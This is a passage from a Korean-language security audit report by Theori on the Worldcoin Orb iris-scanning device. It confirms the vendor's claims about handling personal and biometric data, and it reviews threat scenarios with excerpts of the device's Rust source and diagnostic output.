Worldcoin Orb 보안 진단 프로젝트

최종 보고서

Mar 2025

Theori

Theori, Inc. (“We”) is acting solely for the client and is not responsible to any other party.

Deliverables are valid for and should be used solely in connection with the purpose for which they were prepared as set out in our engagement agreement. You should not refer to or use our name or advice for any other purpose. The information (where appropriate) has not been verified. No representation or warranty is given as to accuracy, completeness or correctness of information in the Deliverables, any document, or any other information made available. Deliverables are for the internal use of the client and may not be used or relied upon by any person or entity other than the client. Deliverables are confidential and are not to be provided, without our authorization (preferably written), to entities or representatives of entities (including employees) that are not the client, including affiliates or representatives of affiliates of the client.

©2025. For information, contact Theori, Inc.

목차

About Theori 3
1. 본 문서에 대하여 4
2. 개요 5
2.1. 프로젝트 소개 5
2.2. 프로젝트 수행 대상 5
3. 방법론 6
3.1. 프로젝트 수행 방법 7
3.2. Assessment of Security Claims on PII 8
1. 사용자가 Orb에 제공한 PII(개인식별정보)는 Orb에서 일시적으로 처리되며, Orb에 영구적으로 저장되지 않습니다 8
2. Orb는 생체 데이터를 포함한 PII를 저장하지 않습니다 8
3. Orb는 PII를 사용자 외에는 누구에게도 전송하지 않습니다 8
4. Orb는 홍채 코드를 안전하게 처리합니다 9
5. Orb는 홍채 코드를 오직 사용자에게만 안전하게 전송합니다 9
6. Orb는 인증 과정에서 생성된 모든 이미지(예: 얼굴 및 눈 사진)를 오직 사용자의 기기로만 안전하게 전송합니다 9
7. 인증 과정에서 WLF/TFH 또는 제3자는 사용자의 PII에 접근할 수 없습니다 10
8. Orb가 사용자의 휴대폰으로부터 받는 유일한 정보는 QR 코드에 인코딩된 랜덤 세션 번호입니다 10
3.3. 위협 시나리오 12
3.3.1 위협 시나리오 리스트 12
3.3.2 위협 시나리오 기반 분석 결과 13
4. 발견 사항 35
4.1. 발견 사항 요약 35
4.2. 발견 사항 36
4.2.1. WORLDCOIN-ORB-001: 홍채 정보 활용 이후 메모리 소거 권고 36
4.2.2. WORLDCOIN-ORB-002: 커널 빌드 옵션 하드닝 권고 38
4.2.3. WORLDCOIN-ORB-003: WiFi configuration 파일의 권한 제한 미흡으로 인한 권한 상승 가능성 41
5. Orb의 민감정보 처리 및 저장에 대한 최종 분석 결과 45
6. 결론 46

About Theori

About Theori: World-Class Cybersecurity, Proven Through Performance

Theori is an elite cybersecurity firm comprised of world-renowned researchers and engineers who thrive on solving the most complex digital security challenges. Established with Theori Inc. (US) in 2016 and Theori Korea in 2017, we operate from an attacker's perspective to deliver strategic, cutting-edge security solutions. By entrusting us with their security, our customers gain the freedom to innovate and focus entirely on their core business, while we master the complexities of the threat landscape.

Theori's "world-class" status is not just a claim but a demonstrated reality, consistently validated by top-tier global performance:

- **Record-Breaking Competition Dominance:** As a core part of the "Maple Mallard Magistrates" (MMM) team, Theori achieved an unprecedented **three-peat victory at the DEF CON Capture the Flag competition (2022, 2023, 2024)**. Beyond DEF CON, Theori consistently wins and places at the top of numerous prestigious international CTFs.
- **Pwn2Own Successes:** Our expertise is further proven by multiple successful exploits at Pwn2Own, including recent demonstrations against Ubuntu Desktop, VMware SBX, and RedHat Linux (2023, 2024, and 2025).
- **Leading in AI-Driven Cyber Challenges:** Theori achieved **1st place in the AIxCC (AI Cyber Challenge) Semi-finals hosted by DARPA in 2024** with our Cyber Reasoning System, "Robo Duck."
- **Innovative Products & Services:** We translate our research into impactful solutions like **Xint** (AI-Powered AST), **αprism** (LLM Guard), **ChainLight** (Blockchain Security), **Dreamhack** (Cybersecurity Education), **PatchDay** (Bug Bounty), and **Fermium-252** (1-day CTI Database).
- **Trusted by Global Technology Leaders:** Theori's expertise is sought and trusted by the world's foremost technology companies. We are proud to collaborate with industry giants such as **Microsoft, Google, Okta, and Samsung**, among others. Our work with these leaders involves conducting in-depth security assessments, pioneering vulnerability research, and fortifying the resilience of their globally utilized platforms and products, thereby contributing to the security of digital ecosystems relied upon by millions worldwide.

Our Elite Team & Global Impact:

Theori's core strength is its team of exceptionally talented hackers, security engineers, and researchers. We are driven by a passion for discovery and a commitment to excellence. Our expertise spans offensive security consulting, AI red teaming, security audits, and bespoke R&D, contributing to a more secure digital future for all.

1. 본 문서에 대하여

본 보고서는 Tools for Humanity(TFH)가 제공하는 Orb 기기의 주요 기능을 대상으로 2024년 11월 18일부터 2024년 12월 06일, 2025년 01월 23일부터 2025년 02월 27일까지 3주, 5주 동안 수행한 보안 진단 프로젝트에 대한 내용을 담고 있다.

보고서의 각 장에서 다루는 내용은 아래와 같다.

장	내용
2. 개요	프로젝트 성격과 수행 대상을 포함한 프로젝트의 기본 정보를 보여주는 파트이다.
3.방법론	Orb에서 제공하는 주요 서비스에 대한 분석을 바탕으로, 공격자의 시각에서 고안한 공격 벡터와 해당 벡터들의 조합을 통해 생성한 위협 시나리오의 실현 가능성에 대한 내용을 다루고 있다.
4. 발견 사항	프로젝트 기간 동안 티오리가 발견한 Orb 기기의 보안 취약점과 관련된 발견 사항을 정리한 내용으로, 프로젝트 수행 결과를 자세히 살펴볼 수 있는 보고서의 핵심 파트이다. 발견 사항의 심각도 등급은 공격의 난이도와 위협으로 인한 영향력에 따라 책정되었고, 각 발견 사항에 대한 설명 부분에서 보다 자세한 내용을 확인할 수 있다. 각 발견 사항에 대해 설명하는 [4.2. 발견 사항] 파트에서는 발견 사항에 대한 설명, 악용과정, 영향력 및 그를 통해 책정한 심각도에 대한 내용과 더불어 해당 취약점의 원인과 완화 방안을 다루고 있다.
5. Orb의 민감정보 처리 및 저장에 대한 최종 분석 결과	보안진단 결과를 바탕으로 Orb 기기의 민감정보 처리 및 저장에 대한 최종 분석 결과를 다루고 있다.
6. 결론	프로젝트의 결과에 대한 전체적인 요약 및 프로젝트를 수행하며 판단한 Orb 기기의 보안성에 대한 티오리의 의견을 포함한다.

2. 개요

2.1. 프로젝트 소개

프로젝트 대상	Worldcoin Orb 기기 및 소스코드
프로젝트 성격	화이트박스 오디팅을 통한 기기 보안성 점검
프로젝트 기간	2024년 11월 18일 - 2024년 12월 06일 (3주) 2025년 01월 23일 - 2025년 02월 27일 (5주) *명시된 기간은 행정 처리 기간, 장비 인계 기간, 점검 수행 기간을 모두 포함하고 있으므로 실질적 점검 수행 기간과는 상이함을 명시한다.*

2.2. 프로젝트 수행 대상

Worldcoin Orb 기기와 내부 소프트웨어의 소스 코드들을 대상으로 프로젝트를 수행하였다.

Repository Name	Repository URL	Commit Hash
orb-os	https://github.com/worldcoin/orb-os	4f6c709cde5bf906d56fbe54d980187b920e2d70
priv-orb-core	https://github.com/worldcoin/priv-orb-core	884f36164a71bffa806d5bbcd3c85779f41681ea
orb-core	https://github.com/worldcoin/orb-core	65684ef343e62023cdf8f417e646ea4e922ab063
orb-software	https://github.com/worldcoin/orb-software	0a7922acd6a9010fa686fcfeff50532bc9d15c65
orb-internal	https://github.com/worldcoin/orb-internal	86799080f2a5161c43639420d412ee35012b0fdc
trustzone	https://github.com/worldcoin/trustzone	2326a2ad0a8b80c290bc7b9c612109c9a66ffaf6
priv-orb-firmware	https://github.com/worldcoin/priv-orb-firmware	ccc6512b1e2aaa058

		b24044547a5c477ff0e345e
orb-firmware	https://worldcoin/orb-firmware	b64f09bfe807c80fb892735f6a2898a76b5da26f
plug-and-trust	https://github.com/worldcoin/plug-and-trust	e4e88db425f39df90d33de548c7f2048c7b7eec7

Device name	Environment
Orb(b3b7f044)	Orb 3.2 / Pearl version / Debug mode
Orb(24760e6c)	Orb 3.2 / Pearl version / Debug mode
Orb(Unknown)	Orb 3.2 / Pearl version / Production mode

3. 방법론

3.1. 프로젝트 수행 방법

다음의 프로세스를 따라 프로젝트를 수행하였다.

#	설명
1	Orb 기기의 기능들을 직접 이용하며 서비스 이해
2	화이트박스 오디팅을 기반으로 위협이 발생할 가능성이 높은 기능 식별
3	식별한 내용을 바탕으로 취약점 발생 가능성이 있는 지점 선별
4	위협 모델링을 통한 위협 시나리오 도출 및 기능 이해를 위한 소스코드 오디팅 수행
5	도출한 위협 시나리오를 바탕으로 실제 위협 발생 여부 확인(취약점 점검)

3.2. Assessment of Security Claims on PII

다음은 TFH 측으로부터 전달받은 Personal Identifiable Information (PII, 개인 식별 정보)에 대한 Security Claim과 이를 검증하기 위해 수행한 위협 시나리오 분석 결과를 정리한 목록이다.

본 섹션에서는 각 Claim에 대한 검토 내용을 기술하며, 이를 기반으로 PII의 안전한 처리 여부 및 보안성을 평가한다.

1. 사용자가 Orb에 제공한 PII(개인식별정보)는 Orb에서 일시적으로 처리되며, Orb에 영구적으로 저장되지 않습니다

- Status: **Confirmed**

Orb 기기를 통한 World ID 회원가입 과정에서 활용되는 사용자의 홍채 데이터는 iris code 변환 과정동안 기기 내 메모리에 일시적으로 저장되는 것을 확인하였으며, 기기 내부에 지속적으로 저장되거나 활용되지 않음을 확인하였다.

Reference:

- 1. Data Security and Privacy Risks

2. Orb는 생체 데이터를 포함한 PII를 저장하지 않습니다

- Status: **Confirmed**

Orb는 실제 서비스 중 SSD를 포함한 기기 내부 저장소에 평문 홍채 및 기타 생체인식정보를 포함한 PII를 저장하지 않음을 확인하였으며, 에러 및 시스템 오류 시에도 데이터가 시스템에 남지 않고, 기타 임시 저장 공간 또한 사용하지 않도록 설정되어 있어 이를 통한 PII 저장 또한 발생하지 않음을 확인하였다.

Reference:

- 1. Data Security and Privacy Risks

3. Orb는 PII를 사용자 외에는 누구에게도 전송하지 않습니다

- Status: **Confirmed**

Orb 기기는 장비 상태 검증을 목적으로 버전 및 하드웨어 상태와 같은 데이터와 가입 정보에 한해서 클라우드 스토리지에 전송 및 저장하는 것을 확인하였으며, 서버에서 임의로 복호화가 불가능하도록 사용자의 공개키로 암호화되어 있는 홍채 이미지만을 서버에 전송한다.

Reference:

- 1. Data Security and Privacy Risks

4. Orb는 홍채 코드를 안전하게 처리합니다

- Status: **Confirmed**

Orb는 이용자의 홍채 이미지를 머신러닝 모델을 통해 비식별화된 형태로 변환하여 iris code를 생성하고, 이를 backend server에 전송하여 World ID 가입을 진행한다. iris code는 기기 내부에 영구적으로 저장되지 않으며 기기 외부에 평문으로 노출하지 않는 것을 확인하였다.

Reference:

- 1. Data Security and Privacy Risks
- 2. System Integrity and Anomalous Behavior
- 3. Security Mitigations and Configurations

5. Orb는 홍채 코드를 오직 사용자에게만 안전하게 전송합니다

- Status: **Confirmed**

Orb는 `secure-element` 모듈(NXP SE050)을 통해 홍채 데이터 모음의 해시를 서명하고, 서명된 해시와 함께 iris code를 정해진 TFH backend에 https 통신을 거쳐 안전하게 전송하고 있음을 확인하였다.

Orb는 사용자의 공개 키로 홍채 코드를 암호화한 후 HTTPS를 통해 TFH backend로 전송한다. 결과적으로, TFH backend에는 암호화된 홍채 코드만 전송되며, TFH는 평문 iris code에 접근할 수 없다.

이후 World ID 어플리케이션과 TFH backend의 통신 과정은 이번 보안 진단의 범위가 아니였다.

Reference:

- 1. Data Security and Privacy Risks
- 2. System Integrity and Anomalous Behavior
- 3. Security Mitigations and Configurations

6. Orb는 인증 과정에서 생성된 모든 이미지(예: 얼굴 및 눈 사진)를 오직 사용자의 기기로만 안전하게 전송합니다

- Status: **Confirmed**

Orb에서 촬영된 눈 사진, 얼굴 사진 및 홍채 사진을 평문으로 외부에 전송하는 코드와 기능은 Production build에서 확인된 바 없으며, 해당 정보는 디버그용 feature가 활성화된 상태로 빌드된 Orb의 경우에만 외부에 평문으로 해당 정보들을 노출하는 것을 확인하였다.

또한, PCP v3 내 존재하는 홍채 데이터 정보들은 사용자의 공개키로 암호화됨과 동시에, TFH의 공개키로 함께 이중 암호화되어 TFH 백엔드로 전송됨을 확인하였다.

이후 World ID 어플리케이션과 TFH backend의 통신 과정은 이번 보안 진단의 범위가 아니였다.

Reference:

- 1. Data Security and Privacy Risks
- 2. System Integrity and Anomalous Behavior

7. 인증 과정에서 WLF/TFH 또는 제3자는 사용자의 PII에 접근할 수 없습니다

- Status: **Confirmed**

홍채 인식 및 검증 과정에서 PII 데이터는 평문으로 외부에 전송되거나 내부에 저장되지 않으며, 3rd party의 개입으로 정보가 기기에 로깅되는 등의 행위는 존재하지 않음을 확인하였다.

또한, 장비에 대한 정보를 로깅하는 목적으로 사용되는 Datadog과 같은 써드파티 애플리케이션의 systemd 구성 요소를 확인한 결과, Orb 프로세스를 실행하는 권한과 분리되어 있어 타 프로세스의 메모리를 직접적으로 접근하는 행위가 불가능한 것을 확인하였다.

Reference:

- 1. Data Security and Privacy Risks
- 2. System Integrity and Anomalous Behavior
- 3. Security Mitigations and Configurations

8. Orb가 사용자의 휴대폰으로부터 받는 유일한 정보는 QR 코드에 인코딩된 랜덤 세션 번호입니다

- Status: **Confirmed**

Orb가 외부(이용자 기기)에서 전달받는 데이터는 signup 과정에서 사용되는 World ID 애플리케이션의 사용자 QR 뿐인 것을 확인하였으며, 해당 QR은 무작위성을 가진 세션 정보만을 담고 있기 때문에, 이를 통해 상세한 개인정보를 추출하여 개인을 특정하거나 PII 데이터를 획득할 수 없음을 확인하였다.

(다만, 해당 Claim은 Orb 기기에 한해 확인한 것으로, QR 데이터를 생성하고 관리하는 TFH backend 서버에 대한 검증이 아님을 명시한다.)

Reference:

- 1. Data Security and Privacy Risks
- 2. System Integrity and Anomalous Behavior

- 3. Security Mitigations and Configurations

3.3. 위협 시나리오

3.3.1 위협 시나리오 리스트

Orb 기기가 제공하는 서비스 및 기능에 대한 보안성과 TFH의 PII에 대한 Claim 검증을 목적으로 공격자의 시각에서 아래 구체적인 위협 시나리오를 생성하고, 각 항목에 따라 분석 및 검증을 수행하였다.

Category	Items
1. Data Security and Privacy Risks	1.1. 민감 정보 통신 과정에서 중간자가 데이터를 spoofing/sniffing 할 수 있는가?
	1.2. 기기가 처리하는 민감 정보가 로깅되어 외부 서버에 유출될 가능성이 존재하는가?
	1.3. 기기가 의도된/인증된 서버와만 통신하는가?
	1.4. 민감 정보 저장 시 올바른 암호화 알고리즘을 사용하여 안전하게 저장하는가?
	1.5. 에러 및 시스템 오류 시 데이터 및 개인정보가 안전하게 처리되는가?
	1.6. 이용자 특정이 가능한 정보(QR, 평문 홍채 데이터 등)을 기기 내부에 저장하는가?
	1.7. 민감 정보가 기기에 지속적으로 저장되지 않도록 방지하는가?
2. System Integrity and Anomalous Behavior	2.1. 외부에 노출된 물리 포트를 악용한 공격이 발생할 수 있는가?
	2.2. Orb operator가 시스템 및 관리 기능을 악용할 수 있는가?
	2.3. 불필요하게 외부 네트워크에 노출되어있는 네트워크 포트가 존재하는가?
	2.4. 별도 프로세스로 격리되어야 할 민감 에이전트가 동일 프로세스에서 동작하는가?
	2.5. 에이전트의 문제로 인해 브로커 메인 프로세스가 영향을 받을 수 있는가?
	2.6. Magic QR-code를 임의로 사용하여 시스템에 문제를 발생시킬 수 있는가?
	2.7. 악의적으로 생성된 홍채 데이터나 이미지가 기기를 공격하여 시스템 장애 혹은 임의 코드 실행을 발생시킬 수 있는가?
3. Security Mitigations and Configurations	3.1. 프로세스 비정상 종료 시 적절한 failover 시스템을 구축하고 있는가?
	3.2. 장치 구성 및 설정은 잠재적인 보안 위협(무단 접근, 권한 상승, 알려진 취약점 악용 등)에 대해 적절하게 보호되고 강화되었는가?
	3.3. 디버그 포트를 통해 공격자가 임의로 쉘에 접근하거나, 펌웨어를 추출할 수 있는가?
	3.4. 부트로더에서 펌웨어 시그니처 검증을 올바르게 하는가?
	3.5. 악의적으로 조작된 펌웨어를 Over-The-Air(OTA) 업데이트 프로세스에 사용할 수 있는가?
	3.6. 안전하게 서드 파티 라이브러리를 사용 및 관리하고있는가?

3.3.2 위협 시나리오 기반 분석 결과

[Data Security and Privacy Risks]

1.1. 민감 정보 통신 과정에서 중간자가 데이터를 spoofing/sniffing 할 수 있는가?

Orb에서 사용 중인 2가지 http client (`security-utils`, `update-agent`)를 확인해본 결과, https 통신만을 허용하고 있는 것을 확인하였다. 따라서, 기기와 서버 통신이 평문으로 이루어지지 않으며, 암호화된 통신으로 인해 권한이 없는 중간자가 통신 내용을 확인하거나 임의로 수정하기 어려움을 확인하였다.

하지만, `security-utils` 디렉토리 내 존재하는 http client의 경우 최소 TLS 버전이 1.2로 설정되어 있는 이슈가 여전히 존재한다. 이 경우 소스코드에서 사용하는 reqwest 라이브러리의 종속성인 `native-tls/default-tls` 라이브러리의 지원 불가 문제로 인해 최소 버전을 TLS 1.3으로 설정할 수 없다.

이에 대해서, 추후 라이브러리 업데이트 시 최소 TLS 버전을 1.3으로 설정할 것을 권고하며 현재 `reqwest` 라이브러리는 TLS 1.3 통신이 불가능한 것이 아닌 최소 버전 설정에 대한 문제이므로 시급한 패치는 필수적이지 않을 것으로 판단된다.

추가적으로, 서버와의 통신에 TLS pinning이 적용되어 있지 않아 공격자의 임의 루트 인증서 설치로 인한 중간자 공격 위협 등으로부터 보호받을 수 없다.

그러나 통신에 사용되는 TLS 인증서를 우회하려면 Orb에 적용된 Read-Only 마운트를 우회하고 root 권한을 획득해야 하므로, 해당 공격을 실질적으로 수행하기는 매우 어렵다고 판단하였다. 따라서 mTLS 구현이 필수적으로는 권고되지 않는다.

Reference

- Support TLS 1.3? · Issue #140 · sfackler/rust-native-tls · GitHub
- ClientBuilder in reqwest - Rust

1.2. 기기가 처리하는 민감 정보가 로깅되어 외부 서버에 유출될 가능성이 존재하는가?

Orb는 홍채를 인식하고 처리한 정보를 World ID 가입 과정에 활용하면서 더 나은 서비스 제공을 위해 몇가지 추가적인 데이터를 백엔드(TFH) 서버로 전송하고 있다.

이 중, TFH 서버로 전송될 디버그 정보를 담고 있는 `debug_report` 구조체에 홍채 이미지를 저장하는 프로세스를 확인하였으나, 실질적으로 백엔드에 전송되는 데이터에는 홍채 이미지 및 기타 개인 식별이 가능한 정보가 포함되지 않음을 확인하였다.

또한, 백엔드 서버로 전송되는 데이터는 아래와 같이 홍채의 해상도와 각도 같이 개인 특정과 관련 없는 이미지의 부수적인 메타데이터만을 담고 있으며, 추가적으로는 Orb 기기의 tampered state, fraud detection에 탐지되었는지에 대한 데이터들을 담고 있다.

```
// priv-orb-core/src/debug_report.rs#L148~L165

pub struct DebugReport {
```

```
    signup_id: SignupId,
    version: String,
    metadata: Metadata,
    pipeline_errors: PipelineErrors,
    sensor: SensorData,
    hardware_component_config: HardwareComponentConfig,
    tof2d: Vec<Tof2dConfig>,
    internal_state_data: InternalStateData,
    self_custody_bundle: Option<Bundle>,
    // Don't move these fields inside the Metadata or nest them, as the AI Team is
specially handling long
    // time-series. @tbszlg will be mad at you!
    rgb_camera: Vec<RgbCameraMetadata>,
    ir_camera: Vec<IrCameraMetadata>,
    ir_face_camera: Vec<IrFaceCameraMetadata>,
    thermal_camera: Vec<ThermalCameraMetadata>,
    self_custody_camera: Vec<SelfCustodyRgbCameraMetadata>,
}

...

// priv-orb-core/src/debug_report.rs#L1122~L1149
pub struct Metadata {
    start_timestamp: f64,
    end_timestamp: f64,
    biometric_capture_succeeded: bool,
    signup_status: SignupStatus,
    enrollment_status: Option<enroll_user::Status>,
    hardware: HardwareVersion,
    optics: OpticsVersion,
    software_version: SoftwareVersion,
    orb: OrbMetadata,
    experiment_configs: ExperimentConfigs,
    backend_config: Config,
    identification_images: Option<IdentificationImages>,
    rgb_net_left: Option<biometric_capture::RgbEstimationType>,
    rgb_net_right: Option<biometric_capture::RgbEstimationType>,
    fraud_check_results: FraudCheckResults,
    face_identifier_billing: face_identifier::Billing,
    software_constants: SoftwareConstants,
    location: OrbLocation,
```

```
    iris_model_metadata_left: Option<iris::Metadata>,
    iris_model_metadata_right: Option<iris::Metadata>,
    mega_agent_one_config: Option<mega_agent_one::MegaAgentOne>,
    mega_agent_two_config: Option<mega_agent_two::MegaAgentTwo>,
    failure_feedback_capture: Vec<CaptureFailureFeedbackMessage>,
    failure_feedback_after_capture: Vec<AfterCaptureFeedbackMessage>,
    bypass_age_verification: bool,
    is_test_qr_code: bool,
}
```

TFH 백엔드로 전송되는 DebugReport 메타데이터

```
//priv-orb-core/src/agents/python/iris/types.rs#L93

pub struct Metadata {
    pub iris_version: Option<String>,
    pub image_size: Option<(u32, u32)>,
    pub eye_side: Option<String>,
    pub eye_centers: Option<EyeCenters>,
    pub pupil_to_iris_property: Option<PupilToIrisProperty>,
    pub offgaze_score: Option<f64>,
    pub eye_orientation: Option<f64>,
    pub occlusion90: Option<f64>,
    pub occlusion30: Option<f64>,
    pub ellipticity: Option<Ellipticity>,
    pub iris_bbox: Option<BoundingBox>,
    pub template_property: Option<TemplateProperty>,
}
```

버전, 사이즈, 각도 등 이미지의 부수적인 메타데이터

결론적으로, `debug_report` 기능에서는 홍채 이미지에 대한 부수적인 정보들만이 외부에 전송되며, 평문 홍채 이미지 및 기타 개인 정보에 해당하는 민감 정보를 TFH 백엔드를 포함한 외부 서버에 전송 및 유출되지 않음을 확인하였다.

추가적으로, 암호화된 홍채 이미지 정보가 포함된 PCP(Personal Custody Package)를 전송하는 코드를 확인해본 결과, 이는 World ID 애플리케이션에서 제공된 사용자의 public key로 데이터를 암호화한 후, TFH의 public key로 이중 암호화 되어 TFH backend에 전송하고 있음을 확인하였다.

```
// priv-orb-core/src/plans/personal_custody_package.rs
/// The credentials used to build the personal custody package.
```

```rust
#[allow(missing_docs)]
#[allow(clippy::struct_field_names)]
pub struct Credentials {
   pub operator_qr_code: qr_scan::user::Data,
   pub user_qr_code: qr_scan::user::Data,
   pub user_qr_code_string: String,
   pub backend_iris_public_key: PublicKey,
   pub backend_iris_encrypted_private_key: String,
   pub backend_normalized_iris_public_key: PublicKey,
   pub backend_normalized_iris_encrypted_private_key: String,
   pub backend_face_public_key: PublicKey,
   pub backend_face_encrypted_private_key: String,
   pub backend_tier2_public_key: PublicKey,
   pub backend_tier2_encrypted_private_key: String,
   pub self_custody_user_public_key: PublicKey,
   pub pcp_version: u16,
   pub id_commitment: String,
}

// priv-orb-core/src/plans/personal_custody_package.rs
impl Package<'_> {
   fn build(&self) -> Result<(Vec<u8>, Vec<u8>, Vec<u8>)> {
       let Self { ts, ref credentials, .. } = *self;
       let Credentials {
           backend_iris_public_key,
           backend_normalized_iris_public_key,
           backend_face_public_key,
           backend_tier2_public_key,
           self_custody_user_public_key,
           pcp_version,
           ..
       } = credentials;
       let mut hashes = BTreeMap::new();
       let mut tier0 = tar::Builder::new(Vec::new());
       let mut tier1 = tar::Builder::new(Vec::new());
       let mut tier2 = tar::Builder::new(Vec::new());

       let iris_tar = encrypt(self.make_iris_tar(&mut hashes)?, backend_iris_public_key);
       let normalized_iris_tar = encrypt(
           self.make_normalized_iris_tar(&mut hashes)?,
           backend_normalized_iris_public_key,
```

```
        );
        let face_tar = encrypt(self.make_face_tar(&mut hashes)?, backend_face_public_key);

        let backend_keys_json = self.make_backend_keys_json(&mut hashes)?;
// ...

// priv-orb-core/src/backend/upload_personal_custody_package.rs
/// Uploads a personal custody package.
pub async fn request(
    signup_id: &SignupId,
    session_id: &str,
    checksum: &[u8],
    data: &[u8],
    tier: Option<u8>,
    config: &Arc<Mutex<Config>>,
) -> Result<()> {
    let t0 = Instant::now();
    let presigned_url::Response { url: presigned_url, fields: form_data_params } =
        if let Some(tier) = tier {
            presigned_url::request_tiered_package(
                &DATA_BACKEND_URL,
                signup_id,
                session_id,
                &BASE64.encode(checksum),
                tier,
            )
            .await?
        } else {
            presigned_url::request_package(
                &DATA_BACKEND_URL,
                signup_id,
                session_id,
                &BASE64.encode(checksum),
            )
            .await?
        };
```

PCP 데이터를 암호화하고 전송하는 코드

해당 public key는 사용자가 World ID 애플리케이션을 통해 생성한 비대칭 키이기 때문에 TFH backend에서 해당 데이터를 임의로 복호화하지 못하므로 민감 정보가 평문으로 외부에 노출되지 않음을 확인하였다.

또한, Orb가 사용자의 휴대폰으로부터 수신하는 유일한 정보는 QR 코드에 인코딩된 무작위 세션 번호와 세션을 사용하기 위해 필요한 메타데이터이다.

```rust
/// /orb-core/src/plans/qr_scan/user.rs
/// User QR-code data.
#[derive(Default, Clone, Debug)]
pub struct Data {
   /// User ID in format of 128-bit UUIDv4.
   pub user_id: String,
   /// It's a data acquisition QR code.
   pub signup_extension: bool,
   /// Data acquisition configuration.
   pub signup_extension_config: Option<SignupExtensionConfig>,
   /// Hash of the user data stored in the backend.
   pub user_data_hash: Option<Vec<u8>>,
}
```

User QR-code data 구조체

1.3. 기기가 의도된/인증된 서버와만 통신하는가?

소스코드 분석을 통해 확인한 결과, Orb 동작 과정에서 아래 TFH 소유 서버(*.worldcoin.org) 및 Datadog metrics 서비스, 그리고 Teleport 서비스 사용을 위해 통신하는 서버, AWS S3 presigned url 이외에, 필요하지 않거나 인증되지 않은 임의의 서버와 통신하는 로직은 존재하지 않았다.

```rust
// orb-core/src/backend/endpoints.rs#L28~L43
make_urls! {
   /// Data backend URL - writes to regionalized S3.
   pub static DATA_BACKEND_URL = "https://data.{}.worldcoin.org";

   /// Management backend URL - writes to regionalized S3.
   pub static MANAGEMENT_BACKEND_URL = "https://management.{}.worldcoin.org";

   /// Signup backend URL.
   pub static SIGNUP_BACKEND_URL="https://signup.{}.worldcoin.org";

   /// Relay backend URL.
   pub static RELAY_BACKEND_URL="https://relay.{}.worldcoin.org";

   /// Host for network monitoring purposes.
   pub static NETWORK_MONITOR_HOST="signup.{}.worldcoin.org";
}
```

Backend Server Endpoints

Orb 기기의 디버그 포트를 통해 시스템 쉘에 연결한 뒤, 기기단에서 직접 트래픽 및 로그를 통해 확인한 결과, 아래와 같은 서버들과 통신하고 있으며, 소스코드에서 확인한 바와 같이 서비스 제공을 위해 의도된 *.worldcoin.org, Datadog, Teleport 서비스와만 지속적으로 통신하는 것을 확인했다.

```
tcp     192.168.13.233:59806    3.233.157.104:443  ESTABLISHED -> datadog
tcp     192.168.13.233:41448    3.233.157.159:443    TIME_WAIT -> datadog
tcp     192.168.13.233:37028    15.197.240.117:443 ESTABLISHED -> orb.worldcoin.org
```

```
tcp     192.168.13.233:50188    18.210.121.14:3024 ESTABLISHED -> Teleport
tcp     192.168.13.233:37162    15.197.240.117:443 ESTABLISHED -> orb.worldcoin.org
tcp     192.168.13.233:50190    18.210.121.14:3024 ESTABLISHED -> Teleport
Tcp     192.168.13.233:56658    35.156.93.5:443    ESTABLISHED -> stage.orb.worldcoin.org
tcp     192.168.13.233:52026    3.233.157.100:443  ESTABLISHED -> datadoghq.com
tcp     192.168.13.233:44164    18.208.122.219:3024 ESTABLISHED -> Teleport
tcp     127.0.0.1:43132         127.0.0.1:5001     ESTABLISHED -> local
tcp     192.168.13.233:41450    3.233.157.159:443    TIME_WAIT -> datadoghq.com
tcp     192.168.13.233:44172    18.208.122.219:3024 ESTABLISHED -> Teleport
tcp     127.0.0.1:5001          127.0.0.1:43132    ESTABLISHED -> local
```

Network Connection Status

1.4. 민감 정보 저장 시 올바른 암호화 알고리즘을 사용하여 안전하게 저장하는가?

디버그 및 R&D 모드에서 기기 내부 데이터 저장 및 백엔드 업로드 여부를 결정하는 `internal-data-acquisition` 플래그가 켜져있지 않은 경우, 즉 프로덕션 환경에서는 Signup 프로세스 및 기기 동작 중 SSD 및 내부 스토리지에 어떤 형태로도 평문 홍채 데이터 및 이용자 민감정보를 저장하지 않는다.

```rust
// priv-orb-core/src/agents/image_notary.rs#L375~L397

//! Notarizes images and assigns them image IDs.
//!
//! IF AND ONLY IF the `internal-data-acquisition` feature is enabled,
//! it also saves files to disk

...
#[cfg(not(feature = "internal-data-acquisition"))]
#[allow(clippy::unnecessary_wraps)]
fn finalize_signup(&mut self) -> Result<()> {
   // In theory this is not needed. Just an extra defensive measure.
   ssd::perform(|| {
       self.save_dir.exists().then(|| remove_dir_all(&self.save_dir)).unwrap_or(Ok(()))
   });
   Ok(())
}

#[cfg(feature = "internal-data-acquisition")]
fn finalize_signup(&mut self) -> Result<()> {
   ssd_save_png(|| {
       save_sharpest_frames(
           &self.sharpest_frames,
           &self.signup_id,
           &self.save_dir,
           &mut self.log,
       )?;
       Ok(())
   })?;
   Ok(())
}
```

internal-data-acquisition 플래그에 따른 민감정보 저장 로직 차이

1.5. 에러 및 시스템 오류 시 데이터 및 개인정보가 안전하게 처리되는가?

Orb는 Signup 프로세스 및 기기 동작 중 SSD 및 내부 스토리지에 어떤 형태로도 평문 홍채 데이터 및 이용자 민감정보를 저장하지 않는다(1-4). 또한, 커널 시스템에서 코어 덤프가 생성되지 않도록 설정되어 있어 에러 및 시스템 오류 시에도 데이터가 시스템에 남지 않으며, 현재 설정 상 swap space를 사용하지 않고 있어, 디스크 및 임시 저장 공간 사용으로 인한 데이터 유출 또한 발생하지 않는다.

```
root@localhost:/usr/persistent# free -h; swapon --summary
              total        used        free      shared  buff/cache   available
Mem:           14Gi       4.2Gi       8.8Gi       252Mi       1.5Gi       9.9Gi
Swap:            0B          0B          0B
```

Swap space가 비활성화된 모습

```
root@localhost:/usr/persistent#  sysctl -a | grep core_
kernel.core_pattern = core
kernel.core_pipe_limit = 0
kernel.core_uses_pid = 0
```

코어 덤프 파일 생성이 비활성화된 모습

Rust는 기본적으로 소유권 모델 개념을 통해 메모리 안전성을 보장한다. 그러나, 프로그램 실행 중에는 여전히 민감 데이터가 프로세스 메모리에 남을 가능성이 존재한다.
따라서 메모리 상 민감 데이터 처리를 위한 Rust Crate인 `zeroize`를 사용할 것을 권고한다.
`Zeroize` 매크로를 통한 명시적 초기화 또는 Zeroizing Wrapper로 자동 초기화 처리를 수행하여 Orb가 처리하는 홍채 데이터 및 개인 식별이 가능한 민감 정보가 올라간 메모리는 초기화 함으로써 메모리 덤프 등을 통한 잠재적 민감 데이터 노출을 방지할 것을 권고한다.

- WORLDCOIN-ORB-001

1.6. 이용자 특정이 가능한 정보(QR, 평문 홍채 데이터 등)을 기기 내부에 저장하는가?

